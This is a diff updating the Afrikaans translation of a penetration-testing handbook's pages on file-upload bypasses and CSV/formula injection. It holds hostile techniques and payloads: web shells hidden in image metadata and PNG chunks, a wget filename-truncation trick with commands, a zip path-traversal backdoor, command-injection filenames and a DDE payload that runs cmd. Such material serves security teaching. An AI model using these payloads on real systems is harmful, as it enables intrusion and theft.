+6. Probeer om die **exec-uitbreiding voor die geldige uitbreiding** te plaas en bid dat die bediener verkeerd geconfigureer is. (nuttig om Apache misconfigurasies te benut waar enigiets met die uitbreiding **_**.php**_**, maar** nie noodwendig eindig in .php** sal kode uitvoer): +- _ex: file.php.png_ +7. Gebruik **NTFS alternatiewe datastroom (ADS)** in **Windows**. In hierdie geval sal 'n kolonkarakter “:” na 'n verbode uitbreiding ingevoeg word en voor 'n toegelate een. As gevolg hiervan sal 'n **leĂ« lĂȘer met die verbode uitbreiding** op die bediener geskep word (bv. “file.asax:.jpg”). Hierdie lĂȘer kan later met ander tegnieke soos die gebruik van sy kort lĂȘernaam gewysig word. Die “**::$data**” patroon kan ook gebruik word om nie-leĂ« lĂȘers te skep. Daarom kan dit nuttig wees om 'n puntkarakter na hierdie patroon toe te voeg om verdere beperkings te omseil (.bv. “file.asp::$data.”) 8. Probeer om die lĂȘernaam beperkings te breek. Die geldige uitbreiding word afgesny. En die kwaadwillige PHP bly oor. AAA<--SNIP-->AAA.php ``` # Linux maksimum 255 bytes /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255 -Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 hier en voeg .png by +Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 hier en voeg .png by # Laai die lĂȘer op en kontroleer die antwoord hoeveel karakters dit toelaat. Laat ons sĂȘ 236 python -c 'print "A" * 232' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA @@ -59,46 +59,46 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA<--SNIP 232 A-->AAA.php.png ``` -### Oorbrug Inhoud-Tipe, Magic Nommer, Kompressie & Hervergroting +### Bypass Content-Type, Magic Number, Compression & Resizing -- Oorbrug **Inhoud-Tipe** kontrole deur die **waarde** van die **Inhoud-Tipe** **kop** in te stel op: _image/png_ , _text/plain , application/octet-stream_ -1. Inhoud-Tipe **woordlys**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -- Oorbrug **magic nommer** kontrole deur die **bytes van 'n werklike beeld** aan die begin van die lĂȘer toe te voeg (verwar die _file_ opdrag). Of stel die shell in die **metadata** in:\ +- Om **Content-Type** kontroles te omseil deur die **waarde** van die **Content-Type** **header** in te stel op: _image/png_ , _text/plain , application/octet-stream_ +1. Content-Type **woordlys**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) +- Om **magic number** kontrole te omseil deur aan die begin van die lĂȘer die **bytes van 'n werklike beeld** toe te voeg (verwar die _file_ opdrag). Of stel die shell in die **metadata** in:\ `exiftool -Comment="' >> img.png` - As **kompressie by jou beeld gevoeg word**, byvoorbeeld deur sommige standaard PHP biblioteke soos [PHP-GD](https://www.php.net/manual/fr/book.image.php), sal die vorige tegnieke nie nuttig wees nie. Jy kan egter die **PLTE chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**. - [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- Die webblad kan ook die **beeld** **hervergroting**, byvoorbeeld deur die PHP-GD funksies `imagecopyresized` of `imagecopyresampled`. Jy kan egter die **IDAT chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**. +- Die webblad kan ook die **beeld** **hergroott**, byvoorbeeld deur die PHP-GD funksies `imagecopyresized` of `imagecopyresampled` te gebruik. Jy kan egter die **IDAT chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**. - [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- 'n Ander tegniek om 'n payload te maak wat **'n beeld hervergroting oorleef**, deur die PHP-GD funksie `thumbnailImage`. Jy kan egter die **tEXt chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**. +- 'n Ander tegniek om 'n payload te maak wat **'n beeld hergroott**, is om die PHP-GD funksie `thumbnailImage` te gebruik. Jy kan egter die **tEXt chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**. - [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) -### Ander Tricks om te kontroleer +### Other Tricks to check - Vind 'n kwesbaarheid om die lĂȘer wat reeds opgelaai is te **hernoem** (om die uitbreiding te verander). -- Vind 'n **Plaaslike LĂȘer Insluiting** kwesbaarheid om die backdoor uit te voer. +- Vind 'n **Local File Inclusion** kwesbaarheid om die backdoor uit te voer. - **Mogelijke Inligting openbaar**: 1. Laai **verskeie kere** (en op die **selfde tyd**) die **dieselfde lĂȘer** met die **dieselfde naam** op 2. Laai 'n lĂȘer op met die **naam** van 'n **lĂȘer** of **map** wat **reeds bestaan** 3. Laai 'n lĂȘer op met **“.”, “..”, of “
” as sy naam**. Byvoorbeeld, in Apache in **Windows**, as die toepassing die opgelaaide lĂȘers in die “/www/uploads/” gids stoor, sal die “.” lĂȘernaam 'n lĂȘer genaamd “uploads” in die “/www/” gids skep. 4. Laai 'n lĂȘer op wat dalk nie maklik verwyder kan word nie, soos **“
:.jpg”** in **NTFS**. (Windows) -5. Laai 'n lĂȘer op in **Windows** met **ongeldige karakters** soos `|<>*?”` in sy naam. (Windows) -6. Laai 'n lĂȘer op in **Windows** met **gereserveerde** (**verbode**) **name** soos CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, en LPT9. -- Probeer ook om 'n **uitvoerbare** (.exe) of 'n **.html** (minder verdag) op te laai wat **kode sal uitvoer** wanneer dit per ongeluk deur die slagoffer geopen word. +5. Laai 'n lĂȘer in **Windows** op met **ongeldige karakters** soos `|<>*?”` in sy naam. (Windows) +6. Laai 'n lĂȘer in **Windows** op met **gereserveerde** (**verbode**) **name** soos CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, en LPT9. +- Probeer ook om 'n **uitvoerbare lĂȘer** (.exe) of 'n **.html** (minder verdag) op te laai wat **kode sal uitvoer** wanneer dit per ongeluk deur die slagoffer geopen word. -### Spesiale uitbreiding tricks +### Special extension tricks -As jy probeer om lĂȘers na 'n **PHP bediener** op te laai, [kyk na die **.htaccess** trick om kode uit te voer](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ -As jy probeer om lĂȘers na 'n **ASP bediener** op te laai, [kyk na die **.config** trick om kode uit te voer](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). +As jy probeer om lĂȘers na 'n **PHP bediener** op te laai, [kyk na die **.htaccess** truuk om kode uit te voer](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ +As jy probeer om lĂȘers na 'n **ASP bediener** op te laai, [kyk na die **.config** truuk om kode uit te voer](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). Die `.phar` lĂȘers is soos die `.jar` vir java, maar vir php, en kan **gebruik word soos 'n php lĂȘer** (dit met php uitvoer, of dit binne 'n skrip insluit...) -Die `.inc` uitbreiding word soms gebruik vir php lĂȘers wat slegs gebruik word om **lĂȘers in te voer**, so, op 'n stadium, kon iemand **hierdie uitbreiding toegelaat het om uitgevoer te word**. +Die `.inc` uitbreiding word soms gebruik vir php lĂȘers wat net gebruik word om **lĂȘers in te voer**, so, op 'n stadium, kon iemand **hierdie uitbreiding toegelaat het om uitgevoer te word**. ## **Jetty RCE** -As jy 'n XML lĂȘer na 'n Jetty bediener kan oplaai, kan jy [RCE verkry omdat **nuwe \*.xml en \*.war outomaties verwerk word**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Soos genoem in die volgende beeld, laai die XML lĂȘer na `$JETTY_BASE/webapps/` en verwag die shell! +As jy 'n XML-lĂȘer in 'n Jetty-bediener kan oplaai, kan jy [RCE verkry omdat **nuwe \*.xml en \*.war outomaties verwerk word**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Soos genoem in die volgende beeld, laai die XML-lĂȘer op na `$JETTY_BASE/webapps/` en verwag die shell! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) @@ -106,7 +106,7 @@ As jy 'n XML lĂȘer na 'n Jetty bediener kan oplaai, kan jy [RCE verkry omdat **n Vir 'n gedetailleerde verkenning van hierdie kwesbaarheid, kyk na die oorspronklike navorsing: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -AfgeleĂ« Opdrag Uitvoering (RCE) kwesbaarhede kan in uWSGI bedieners benut word as iemand die vermoĂ« het om die `.ini` konfigurasielĂȘer te wysig. uWSGI konfigurasielĂȘers maak gebruik van 'n spesifieke sintaksis om "magiese" veranderlikes, plekhouers, en operateurs in te sluit. Veral, die '@' operateur, wat gebruik word as `@(filename)`, is ontwerp om die inhoud van 'n lĂȘer in te sluit. Onder die verskillende ondersteunde skemas in uWSGI, is die "exec" skema veral kragtig, wat die lees van data van 'n proses se standaarduitset toelaat. Hierdie kenmerk kan gemanipuleer word vir slegte doeleindes soos AfgeleĂ« Opdrag Uitvoering of Willekeurige LĂȘer Skryf/Lees wanneer 'n `.ini` konfigurasielĂȘer verwerk word. +Remote Command Execution (RCE) kwesbaarhede kan in uWSGI bedieners benut word as 'n mens die vermoĂ« het om die `.ini` konfigurasielĂȘer te wysig. uWSGI konfigurasielĂȘers maak gebruik van 'n spesifieke sintaksis om "magic" veranderlikes, plekhouers, en operateurs in te sluit. Veral, die '@' operateur, wat gebruik word as `@(filename)`, is ontwerp om die inhoud van 'n lĂȘer in te sluit. Onder die verskillende ondersteunde skemas in uWSGI is die "exec" skema veral kragtig, wat die lees van data van 'n proses se standaarduitset toelaat. Hierdie funksie kan gemanipuleer word vir slegte doeleindes soos Remote Command Execution of Arbitrary File Write/Read wanneer 'n `.ini` konfigurasielĂȘer verwerk word. Oorweeg die volgende voorbeeld van 'n skadelike `uwsgi.ini` lĂȘer, wat verskeie skemas toon: ```ini @@ -128,12 +128,12 @@ characters = @(call://uwsgi_func) ``` Die uitvoering van die payload vind plaas tydens die ontleding van die konfigurasie-lĂȘer. Vir die konfigurasie om geaktiveer en ontleed te word, moet die uWSGI-proses of herbegin word (potensieel na 'n ineenstorting of as gevolg van 'n Denial of Service-aanval) of die lĂȘer moet op outo-herlaai gestel word. Die outo-herlaai-funksie, indien geaktiveer, herlaai die lĂȘer op gespesifiseerde tydperke wanneer veranderinge opgespoor word. -Dit is van kardinale belang om die losser aard van uWSGI se konfigurasie-lĂȘerontleding te verstaan. Spesifiek kan die bespreekte payload in 'n binĂȘre lĂȘer (soos 'n beeld of PDF) ingevoeg word, wat die omvang van potensiĂ«le uitbuiting verder verbreed. +Dit is van kardinale belang om die los natuur van uWSGI se konfigurasie-lĂȘerontleding te verstaan. Spesifiek kan die bespreekte payload in 'n binĂȘre lĂȘer (soos 'n beeld of PDF) ingevoeg word, wat die omvang van potensiĂ«le uitbuiting verder verbreed. ## **wget LĂȘer Laai/SSRF Trick** -In sommige gevalle mag jy vind dat 'n bediener **`wget`** gebruik om **lĂȘers** te **af te laai** en jy kan die **URL** **aandui**. In hierdie gevalle mag die kode nagaan of die uitbreiding van die afgelaaide lĂȘers binne 'n witlys is om te verseker dat slegs toegelate lĂȘers afgelaai gaan word. egter, **hierdie kontrole kan omseil word.**\ -Die **maksimum** lengte van 'n **lĂȘernaam** in **linux** is **255**, egter, **wget** verkort die lĂȘernames tot **236** karakters. Jy kan 'n lĂȘer genaamd "A"\*232+".php"+".gif" **aflaai**, hierdie lĂȘernaam sal die **kontrole omseil** (soos in hierdie voorbeeld is **".gif"** 'n **geldige** uitbreiding) maar `wget` sal die lĂȘer hernoem na **"A"\*232+".php"**. +In sommige gevalle mag jy vind dat 'n bediener **`wget`** gebruik om **lĂȘers** te **af te laai** en jy kan die **URL** **aangee**. In hierdie gevalle mag die kode nagaan of die uitbreiding van die afgelaaide lĂȘers binne 'n witlys is om te verseker dat slegs toegelate lĂȘers afgelaai gaan word. egter, **hierdie kontrole kan omseil word.**\ +Die **maksimum** lengte van 'n **lĂȘernaam** in **linux** is **255**, egter, **wget** sny die lĂȘernames tot **236** karakters. Jy kan 'n lĂȘer genaamd "A"\*232+".php"+".gif" **aflaai**, hierdie lĂȘernaam sal die **kontrole omseil** (soos in hierdie voorbeeld **".gif"** is 'n **geldige** uitbreiding) maar `wget` sal die lĂȘer hernoem na **"A"\*232+".php"**. ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -156,7 +156,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` -Let wel dat **'n ander opsie** wat jy dalk oorweeg om hierdie kontrole te omseil, is om die **HTTP-bediener te laat herlei na 'n ander lĂȘer**, sodat die aanvanklike URL die kontrole sal omseil en dan sal wget die herleide lĂȘer met die nuwe naam aflaai. Dit **sal nie werk nie** **tenzij** wget gebruik word met die **parameter** `--trust-server-names` omdat **wget die herleide bladsy met die naam van die lĂȘer wat in die oorspronklike URL aangedui is, sal aflaai**. +Let wel dat **'n ander opsie** wat jy dalk oorweeg om hierdie kontrole te omseil, is om die **HTTP bediener te laat herlei na 'n ander lĂȘer**, sodat die aanvanklike URL die kontrole sal omseil en dan wget die herleide lĂȘer met die nuwe naam sal aflaai. Dit **sal nie werk nie** **tenzij** wget gebruik word met die **parameter** `--trust-server-names` omdat **wget die herleide bladsy met die naam van die lĂȘer wat in die oorspronklike URL aangedui is, sal aflaai**. ## Gereedskap @@ -164,21 +164,21 @@ Let wel dat **'n ander opsie** wat jy dalk oorweeg om hierdie kontrole te omseil ## Van lĂȘeroplaad na ander kwesbaarhede -- Stel **lĂȘernaam** in op `../../../tmp/lol.png` en probeer om 'n **pad traversie** te bereik -- Stel **lĂȘernaam** in op `sleep(10)-- -.jpg` en jy mag in staat wees om 'n **SQL-inspuiting** te bereik -- Stel **lĂȘernaam** in op `` om 'n XSS te bereik -- Stel **lĂȘernaam** in op `; sleep 10;` om 'n paar opdraginspuitings te toets (meer [opdraginspuitings truuks hier](../command-injection.md)) -- [**XSS** in beeld (svg) lĂȘeroplaad](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) -- **JS** lĂȘer **oplaad** + **XSS** = [**Service Workers** benutting](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) -- [**XXE in svg oplaad**](../xxe-xee-xml-external-entity.md#svg-file-upload) -- [**Open Redirect** deur die oplaad van svg lĂȘer](../open-redirect.md#open-redirect-uploading-svg-files) -- Probeer **verskillende svg payloads** van [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\* -- [Beroemde **ImageTrick** kwesbaarheid](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) -- As jy **die webbediener kan aandui om 'n beeld van 'n URL te vang**, kan jy probeer om 'n [SSRF](../ssrf-server-side-request-forgery/index.html) te misbruik. As hierdie **beeld** gaan **gestoor** word op 'n **publieke** webwerf, kan jy ook 'n URL van [https://iplogger.org/invisible/](https://iplogger.org/invisible/) aandui en **inligting van elke besoeker steel**. -- [**XXE en CORS** omseiling met PDF-Adobe oplaad](pdf-upload-xxe-and-cors-bypass.md) -- Spesiaal saamgestelde PDFs vir XSS: Die [volgende bladsy toon hoe om **PDF-data in te spuit om JS-uitvoering te verkry**](../xss-cross-site-scripting/pdf-injection.md). As jy PDFs kan oplaai, kan jy 'n paar PDF's voorberei wat arbitrĂȘre JS sal uitvoer volgens die gegewe aanwysings. -- Laai die \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) inhoud op om te kyk of die bediener enige **antivirus** het -- Kyk of daar enige **groottegrens** is vir die oplaai van lĂȘers +- Stel **lĂȘernaam** in op `../../../tmp/lol.png` en probeer om 'n **pad traversie** te bereik. +- Stel **lĂȘernaam** in op `sleep(10)-- -.jpg` en jy mag in staat wees om 'n **SQL-inspuiting** te bereik. +- Stel **lĂȘernaam** in op `` om 'n XSS te bereik. +- Stel **lĂȘernaam** in op `; sleep 10;` om 'n paar opdraginspuiting te toets (meer [opdraginspuiting truuks hier](../command-injection.md)). +- [**XSS** in beeld (svg) lĂȘeroplaad](../xss-cross-site-scripting/index.html#xss-uploading-files-svg). +- **JS** lĂȘer **oplaad** + **XSS** = [**Service Workers** uitbuiting](../xss-cross-site-scripting/index.html#xss-abusing-service-workers). +- [**XXE in svg oplaad**](../xxe-xee-xml-external-entity.md#svg-file-upload). +- [**Open Redirect** deur die oplaad van svg lĂȘer](../open-redirect.md#open-redirect-uploading-svg-files). +- Probeer **verskillende svg payloads** van [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet). +- [Beroemde **ImageTrick** kwesbaarheid](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/). +- As jy kan **aandui dat die webbediener 'n beeld van 'n URL moet vang**, kan jy probeer om 'n [SSRF](../ssrf-server-side-request-forgery/index.html) te misbruik. As hierdie **beeld** in 'n **publieke** webwerf gaan **gestoor** word, kan jy ook 'n URL van [https://iplogger.org/invisible/](https://iplogger.org/invisible/) aandui en **inligting van elke besoeker steel**. +- [**XXE en CORS** omseiling met PDF-Adobe oplaad](pdf-upload-xxe-and-cors-bypass.md). +- Spesiaal saamgestelde PDF's vir XSS: Die [volgende bladsy toon hoe om **PDF-data in te spuit om JS-uitvoering te verkry**](../xss-cross-site-scripting/pdf-injection.md). As jy PDF's kan oplaai, kan jy 'n paar PDF's voorberei wat arbitrĂȘre JS sal uitvoer volgens die gegewe aanwysings. +- Laai die \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) inhoud op om te kyk of die bediener enige **antivirus** het. +- Kyk of daar enige **groottegrens** is wanneer lĂȘers opgelaai word. Hier is 'n top 10 lys van dinge wat jy kan bereik deur op te laai (van [hier](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): @@ -270,7 +270,7 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php root@s2crew:/tmp# zip cmd.zip xx*.php ``` -3. **Wysiging met 'n Hex Editor of vi**: Die name van die lĂȘers binne die zip word verander met vi of 'n hex editor, wat "xxA" na "../" verander om deur gidse te beweeg. +3. **Wysiging met 'n Hex Editor of vi**: Die name van die lĂȘers binne die zip word verander met vi of 'n hex editor, wat "xxA" na "../" verander om directories te traverse. ```bash :set modifiable @@ -289,29 +289,29 @@ pop graphic-context ``` ## Inbedde PHP Shell in PNG -Die inbeddding van 'n PHP shell in die IDAT-gedeelte van 'n PNG-lĂȘer kan effektief sekere beeldverwerkingsoperasies omseil. Die funksies `imagecopyresized` en `imagecopyresampled` van PHP-GD is veral relevant in hierdie konteks, aangesien hulle algemeen gebruik word om beelde te hergroepeer en te hersampel. Die vermoĂ« van die ingeslote PHP shell om onaangeraak deur hierdie operasies te bly, is 'n beduidende voordeel vir sekere gebruiksgevalle. +Die inbedde van 'n PHP shell in die IDAT-gedeelte van 'n PNG-lĂȘer kan effektief sekere beeldverwerkingsoperasies omseil. Die funksies `imagecopyresized` en `imagecopyresampled` van PHP-GD is veral relevant in hierdie konteks, aangesien hulle algemeen gebruik word om beelde te hergroei en te hersampel. Die vermoĂ« van die ingeslote PHP shell om onaangeraak deur hierdie operasies te bly, is 'n beduidende voordeel vir sekere gebruiksgevalle. -'n Gedetailleerde verkenning van hierdie tegniek, insluitend die metodologie en potensiĂ«le toepassings, word in die volgende artikel verskaf: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Hierdie hulpbron bied 'n omvattende begrip van die proses en sy implikasies. +'n Gedetailleerde verkenning van hierdie tegniek, insluitend sy metodologie en potensiĂ«le toepassings, word in die volgende artikel verskaf: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Hierdie hulpbron bied 'n omvattende begrip van die proses en sy implikasies. Meer inligting in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) ## Polyglot LĂȘers -Polyglot lĂȘers dien as 'n unieke hulpmiddel in kuberveiligheid, wat optree as kameleons wat geldig in verskeie lĂȘerformate gelyktydig kan bestaan. 'n Interessante voorbeeld is 'n [GIFAR](https://en.wikipedia.org/wiki/Gifar), 'n hibriede wat beide as 'n GIF en 'n RAR-argief funksioneer. Sulke lĂȘers is nie beperk tot hierdie paar nie; kombinasies soos GIF en JS of PPT en JS is ook haalbaar. +Polyglot lĂȘers dien as 'n unieke hulpmiddel in kuberveiligheid, wat optree as kameleons wat geldig in verskeie lĂȘerformate gelyktydig kan bestaan. 'n Interessante voorbeeld is 'n [GIFAR](https://en.wikipedia.org/wiki/Gifar), 'n hibriede wat sowel as 'n GIF as 'n RAR-argief funksioneer. Sulke lĂȘers is nie beperk tot hierdie kombinasie nie; kombinasies soos GIF en JS of PPT en JS is ook haalbaar. -Die kernnut van polyglot lĂȘers lĂȘ in hul vermoĂ« om sekuriteitsmaatreĂ«ls te omseil wat lĂȘers op tipe basis skandeer. Gewone praktyk in verskeie toepassings behels die toelaat van slegs sekere lĂȘertipes vir opgelaai—soos JPEG, GIF, of DOC—om die risiko wat deur potensieel skadelike formate (bv. JS, PHP, of Phar-lĂȘers) voorgestel word, te verminder. 'n Polyglot, deur te voldoen aan die struktuurvereistes van verskeie lĂȘertipes, kan stilweg hierdie beperkings omseil. +Die kernnut van polyglot lĂȘers lĂȘ in hul vermoĂ« om sekuriteitsmaatreĂ«ls te omseil wat lĂȘers op grond van tipe skandeer. Gewone praktyk in verskeie toepassings behels die toelaat van slegs sekere lĂȘertipes vir opgelaai—soos JPEG, GIF, of DOC—om die risiko wat deur potensieel skadelike formate (bv. JS, PHP, of Phar-lĂȘers) inhou, te verminder. 'n Polyglot, deur te voldoen aan die struktuurvereistes van verskeie lĂȘertipes, kan stilweg hierdie beperkings omseil. -Ten spyte van hul aanpasbaarheid, ondervind polyglots beperkings. Byvoorbeeld, terwyl 'n polyglot gelyktydig 'n PHAR-lĂȘer (PHp ARchive) en 'n JPEG kan beliggaam, kan die sukses van sy opgelaai afhang van die platform se lĂȘeruitbreidingbeleide. As die stelsel streng is oor toelaatbare uitbreidings, mag die blote struktuurlike dualiteit van 'n polyglot nie genoeg wees om sy opgelaai te waarborg nie. +Ten spyte van hul aanpasbaarheid, ondervind polyglots beperkings. Byvoorbeeld, terwyl 'n polyglot gelyktydig 'n PHAR-lĂȘer (PHp ARchive) en 'n JPEG kan beliggaam, kan die sukses van sy opgelaai afhang van die platform se lĂȘeruitbreidingbeleide. As die stelsel streng is oor toelaatbare uitbreidings, mag die blote struktuurdualisiteit van 'n polyglot nie genoeg wees om sy opgelaai te waarborg nie. Meer inligting in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) -### Laai geldige JSON's op soos asof dit PDF was +### Laai geldige JSON's op asof dit PDF was -Hoe om lĂȘertipe-detektering te vermy deur 'n geldige JSON-lĂȘer op te laai selfs al is dit nie toegelaat nie deur 'n PDF-lĂȘer te faksineer (tegnieke van **[hierdie blogpos](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): +Hoe om lĂȘertipe-detektering te vermy deur 'n geldige JSON-lĂȘer op te laai selfs al is dit nie toegelaat nie deur 'n PDF-lĂȘer na te maak (tegnieke van **[hierdie blogpos](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): - **`mmmagic` biblioteek**: Solank die `%PDF` magiese bytes in die eerste 1024 bytes is, is dit geldig (kry voorbeeld uit pos) -- **`pdflib` biblioteek**: Voeg 'n valse PDF-formaat binne 'n veld van die JSON sodat die biblioteek dink dit is 'n pdf (kry voorbeeld uit pos) -- **`file` binĂȘre**: Dit kan tot 1048576 bytes van 'n lĂȘer lees. Skep net 'n JSON groter as dit sodat dit nie die inhoud as 'n json kan ontleed nie en plaas dan die aanvanklike deel van 'n werklike PDF binne die JSON en dit sal dink dit is 'n PDF +- **`pdflib` biblioteek**: Voeg 'n vals PDF-formaat binne 'n veld van die JSON sodat die biblioteek dink dit is 'n pdf (kry voorbeeld uit pos) +- **`file` binĂȘre**: Dit kan tot 1048576 bytes van 'n lĂȘer lees. Skep net 'n JSON wat groter is as dit sodat dit nie die inhoud as 'n json kan ontleed nie en plaas dan binne die JSON die aanvanklike deel van 'n werklike PDF en dit sal dink dit is 'n PDF ## Verwysings diff --git a/src/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md b/src/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md index f23bfdffb..5e91c8505 100644 --- a/src/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md +++ b/src/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md @@ -6,10 +6,10 @@ ### Info -As jou **invoer** binne **CSV-lĂȘer**s (of enige ander lĂȘer wat waarskynlik deur **Excel** geopen gaan word) **reflekteer** word, kan jy dalk Excel **formules** invoeg wat **uitgevoer** sal word wanneer die gebruiker die **lĂȘer** **oopmaak** of wanneer die gebruiker op 'n **skakel** binne die Excel-skaal **klik**. +As jou **invoer** binne **CSV-lĂȘer**s (of enige ander lĂȘer wat waarskynlik deur **Excel** geopen gaan word) **reflekteer** word, kan jy dalk Excel **formules** plaas wat **uitgevoer** sal word wanneer die gebruiker die **lĂȘer** **oopmaak** of wanneer die gebruiker op 'n **skakel** binne die Excel-sigblad **klik**. > [!CAUTION] -> Vandag **sal Excel waarsku** (verskeie kere) die **gebruiker wanneer iets van buite die Excel gelaai word** om te voorkom dat hy kwaadwillige aksies onderneem. Daarom moet spesiale moeite in Sosiale Ingenieurswese aangewend word vir die finale payload. +> Vandag **sal Excel waarsku** (verskeie kere) die **gebruiker wanneer iets van buite die Excel gelaai word** om hom te verhoed om kwaadwillige aksies te neem. Daarom moet spesiale moeite in Sosiale Ingenieurswese aangewend word vir die finale payload. ### [Wordlist](https://github.com/payloadbox/csv-injection-payloads) ``` @@ -22,14 +22,14 @@ DDE ("cmd";"/C calc";"!A0")A0 ``` ### Hyperlink -**Die volgende voorbeeld is baie nuttig om inhoud uit die finale excel-sheet te onttrek en om versoeke na 